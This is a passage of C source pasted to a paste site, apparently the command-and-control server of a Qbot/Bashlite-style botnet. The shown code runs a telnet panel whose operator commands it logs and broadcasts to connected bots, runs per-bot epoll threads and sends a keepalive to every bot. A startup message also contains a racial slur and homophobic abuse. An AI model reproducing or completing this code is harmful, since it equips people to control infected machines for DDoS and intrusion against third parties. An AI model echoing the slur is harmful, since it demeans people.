  629. sprintf(ascii_banner_line26, " \x1b[0;37m╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ \r\n");
  630. sprintf(ascii_banner_line27, " \x1b[0;31m# \x1b[0;37mT Y P E H E L P \x1b[0;31m# \r\n");
  631. sprintf(ascii_banner_line28, " \x1b[0;31m# \x1b[0;37mP O W E R O W N E D B Y C U L T \x1b[0;31m# \r\n");
  632.  
  633. if(send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  634. if(send(thefd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  635. if(send(thefd, ascii_banner_line21, strlen(ascii_banner_line21), MSG_NOSIGNAL) == -1) goto end;
  636. if(send(thefd, ascii_banner_line22, strlen(ascii_banner_line22), MSG_NOSIGNAL) == -1) goto end;
  637. if(send(thefd, ascii_banner_line23, strlen(ascii_banner_line23), MSG_NOSIGNAL) == -1) goto end;
  638. if(send(thefd, ascii_banner_line24, strlen(ascii_banner_line24), MSG_NOSIGNAL) == -1) goto end;
  639. if(send(thefd, ascii_banner_line25, strlen(ascii_banner_line25), MSG_NOSIGNAL) == -1) goto end;
  640. if(send(thefd, ascii_banner_line26, strlen(ascii_banner_line26), MSG_NOSIGNAL) == -1) goto end;
  641. if(send(thefd, ascii_banner_line27, strlen(ascii_banner_line27), MSG_NOSIGNAL) == -1) goto end;
  642. if(send(thefd, ascii_banner_line28, strlen(ascii_banner_line28), MSG_NOSIGNAL) == -1) goto end;
  643. }
  644.  
  645. if (strstr(buf, "LOG"))
  646. {
  647. goto end;
  648. }
  649. trim(buf);
  650. sprintf(botnet, "\n\x1b[0;37m~> \x1b[0;31m");
  651. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  652. if(strlen(buf) == 0) continue;
  653. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  654. FILE *logFile;
  655. logFile = fopen("SERVER.log", "a");
  656. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  657. fclose(logFile);
  658. broadcast(buf, thefd, usernamez);
  659. memset(buf, 0, 2048);
  660. }
  661.  
  662. end: // cleanup dead socket
  663. managements[thefd].connected = 0;
  664. close(thefd);
  665. managesConnected--;
  666. }
  667.  
  668. void *telnetListener(int port)
  669. {
  670. int sockfd, newsockfd;
  671. socklen_t clilen;
  672. struct sockaddr_in serv_addr, cli_addr;
  673. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  674. if (sockfd < 0) perror("ERROR opening socket");
  675. bzero((char *) &serv_addr, sizeof(serv_addr));
  676. serv_addr.sin_family = AF_INET;
  677. serv_addr.sin_addr.s_addr = INADDR_ANY;
  678. serv_addr.sin_port = htons(port);
  679. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  680. listen(sockfd,5);
  681. clilen = sizeof(cli_addr);
  682. while(1)
  683.  
  684. { printf("Security Breach From: ");
  685. client_addr(cli_addr);
  686. FILE *logFile;
  687. logFile = fopen("IP.log", "a");
  688. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  689. fclose(logFile);
  690. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  691. if (newsockfd < 0) perror("ERROR on accept");
  692. pthread_t thread;
  693. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  694. }
  695. }
  696.  
  697. int main (int argc, char *argv[], void *sock)
  698. {
  699. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  700.  
  701. int s, threads, port;
  702. struct epoll_event event;
  703. if (argc != 4)
  704. {
  705. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  706. exit (EXIT_FAILURE);
  707. }
  708. port = atoi(argv[3]);
  709. threads = atoi(argv[2]);
  710. if (threads > 850)
  711. {
  712. printf("Are You Dumb? Lower the Threads\n");
  713. return 0;
  714. }
  715. else if (threads < 850)
  716. {
  717. printf("Good Choice in Threading\n");
  718. }
  719. printf(RED "\x1b[0;31mREMEMBER THAT YOUR GAY, SO IS YOUR BOTNET THAT JUST GOT SCREENES! WELL DONE NIGGER.[0m\n");
  720. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  721. if (listenFD == -1) abort();
  722.  
  723. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  724. if (s == -1) abort();
  725.  
  726. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  727. if (s == -1)
  728. {
  729. perror ("listen");
  730. abort ();
  731. }
  732.  
  733. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  734. if (epollFD == -1)
  735. {
  736. perror ("epoll_create");
  737. abort ();
  738. }
  739.  
  740. event.data.fd = listenFD;
  741. event.events = EPOLLIN | EPOLLET;
  742. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  743. if (s == -1)
  744. {
  745. perror ("epoll_ctl");
  746. abort ();
  747. }
  748.  
  749. pthread_t thread[threads + 2];
  750. while(threads--)
  751. {
  752. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  753. }
  754.  
  755. pthread_create(&thread[0], NULL, &telnetListener, port);
  756.  
  757. while(1)
  758. {
  759. broadcast("PING", -1, "STRING");
  760. sleep(60);
  761. }
  762.  
  763. close (listenFD);
  764.  
  765. return EXIT_SUCCESS;
  766. }
Add Comment
Please, Sign In to add comment